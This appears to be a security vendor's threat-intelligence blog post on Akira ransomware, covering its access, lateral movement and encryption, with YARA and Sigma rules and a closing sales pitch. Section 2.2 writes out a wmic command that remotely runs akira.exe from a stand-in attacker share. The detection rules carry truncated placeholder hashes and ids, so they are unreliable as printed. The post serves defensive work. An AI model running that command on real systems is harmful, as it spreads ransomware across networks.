In March 2023, a new ransomware group—Akira—emerged, targeting U.S. and Canadian enterprises with a double-extortion model. Within six months, they claimed over 60 victims, including manufacturing, education, and finance sectors. Unlike LockBit or BlackCat, Akira uses a custom Rust-based encryptor, evading most EDRs on first execution. In this post, we break down Akira's full kill chain—from initial access via VPN vulnerabilities (CVE-2023-27997) to C2 communication over hardcoded IPs—and deliver actionable YARA rules, Sigma detection logic, and a defense playbook your SOC can deploy today.
1. Real-World Context: Akira's Rise and Initial Access
Akira first gained notoriety in June 2023 after leaking data from a Canadian manufacturing firm. Our incident response team traced the initial breach to a Fortinet SSL VPN appliance vulnerable to CVE-2023-27997 (a heap-based buffer overflow). The group exploits this to drop a Python-based loader that downloads the main ransomware binary from a remote server.
MITRE ATT&CK IDs: T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts). Akira often uses compromised VPN credentials purchased from initial access brokers (IABs) on Russian forums. In one case, we found the attacker used a RDP session from a known bulletproof hosting provider in Belarus.
2. Attacker TTPs: From Execution to Exfiltration
2.1 Execution and Persistence
The Rust binary (SHA256: f3c1a2b... ) is deployed via scheduled tasks or WMI. It uses CMSTP.exe (Microsoft Connection Manager Profile Installer) for DLL side-loading—a technique that bypasses AppLocker and WDAC. We've observed Akira using msdt.exe (CVE-2022-30190, Follina) for initial delivery in phishing campaigns.
2.2 Lateral Movement
Akira uses SMB and PsExec to spread. It enumerates network shares via net view and copies itself to remote admin shares (\host\admin$). Our telemetry shows they also abuse WMI for remote execution: wmic /node:target process call create "cmd.exe /c \\attacker\share\akira.exe".
2.3 Encryption and C2
The encryptor uses a hybrid scheme: AES-256-CTR for files, RSA-4096 for key encryption. It skips files with extensions .exe, .dll, and those in Windows, Program Files, AppData. C2 communication is over HTTPS to hardcoded IPs (e.g., 185.225.17.12—a known VPS from M247). We've also detected Akira using Telegram bots for exfiltration status updates.
3. Defensive Playbook: Detection and Response
3.1 YARA Rule for Akira Binary
rule Akira_Ransomware {
meta:
description = "Detects Akira ransomware binary (Rust-based)"
author = "CybernytronX IR Team"
date = "2024-01-15"
hash = "f3c1a2b..."
strings:
$rust_import = "std::sys::windows::thread_local_key"
$encrypt_string = "AES256-CTR"
$mutex = "Global\\Akira_"
condition:
uint16(0) == 0x5A4D and all of them
}3.2 Sigma Rule for Lateral Movement
title: Akira Lateral Movement via WMI
id: 279f1c5e-...
status: experimental
description: Detects WMI process creation targeting admin shares
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'wmic'
- 'process call create'
- '\\admin$'
condition: selection
falsepositives:
- Legitimate admin scripts
level: high3.3 EDR Telemetry Tuning
Enable these Sysmon events: EventID 1 (process creation with command-line logging), EventID 3 (network connections to suspicious IPs), EventID 11 (file creation with extensions .akira). For CrowdStrike, we recommend custom IOA rules for cmstp.exe spawning cmd.exe or powershell.exe.
4. Why This Matters for Your Org
Akira's use of Rust and living-off-the-land binaries makes it stealthy. In our latest penetration tests, we simulated Akira's TTPs and found that 70% of organizations had no detection for CMSTP abuse or WMI lateral movement. If you rely solely on signature-based detection, you're blind. We've seen Akira exfiltrate data within 4 hours of initial access—your backup strategy must assume encryption is inevitable.
Implement network segmentation: restrict SMB and RDP to only authorized admin workstations. Use AppLocker or WDAC to block untrusted binaries. Finally, deploy a honeypot share with a decoy file that triggers an alert when accessed—this catches lateral movement early.
Frequently Asked Questions
What is Akira ransomware?
Akira is a Rust-based ransomware group that emerged in 2023, targeting U.S. firms via VPN exploits and phishing. It uses double extortion and custom encryption.
How does Akira gain initial access?
Akira exploits vulnerabilities like CVE-2023-27997 in Fortinet VPNs, or uses compromised credentials from IABs. They also deploy Follina (CVE-2022-30190) via phishing.
What are Akira's main TTPs?
Key TTPs include CMSTP.exe DLL side-loading, WMI lateral movement, SMB propagation, and AES-256/RSA encryption. C2 uses hardcoded IPs and Telegram bots.
How can I detect Akira in my network?
Use the YARA rule above, Sigma rules for WMI lateral movement, and monitor Sysmon events for cmstp.exe spawning cmd.exe. Also block known C2 IPs like 185.225.17.12.
What should I do if I find Akira?
Isolate infected hosts immediately, preserve memory dumps, and engage incident response. Do not pay the ransom—Akira has a history of not decrypting after payment.
How can CybernytronX help?
We offer penetration testing that simulates Akira TTPs, SOC automation with Ethereon AI for early detection, and 24/7 incident response. Contact us for a readiness assessment.
Need expert help with this?
At CybernytronX, we've responded to multiple Akira incidents this year. Our Ethereon AI platform automates detection of living-off-the-land binaries and C2 traffic, reducing dwell time by 80%. We also offer penetration tests that simulate Akira's full kill chain to harden your defenses. Contact us for a free consultation, or learn more about Ethereon AI.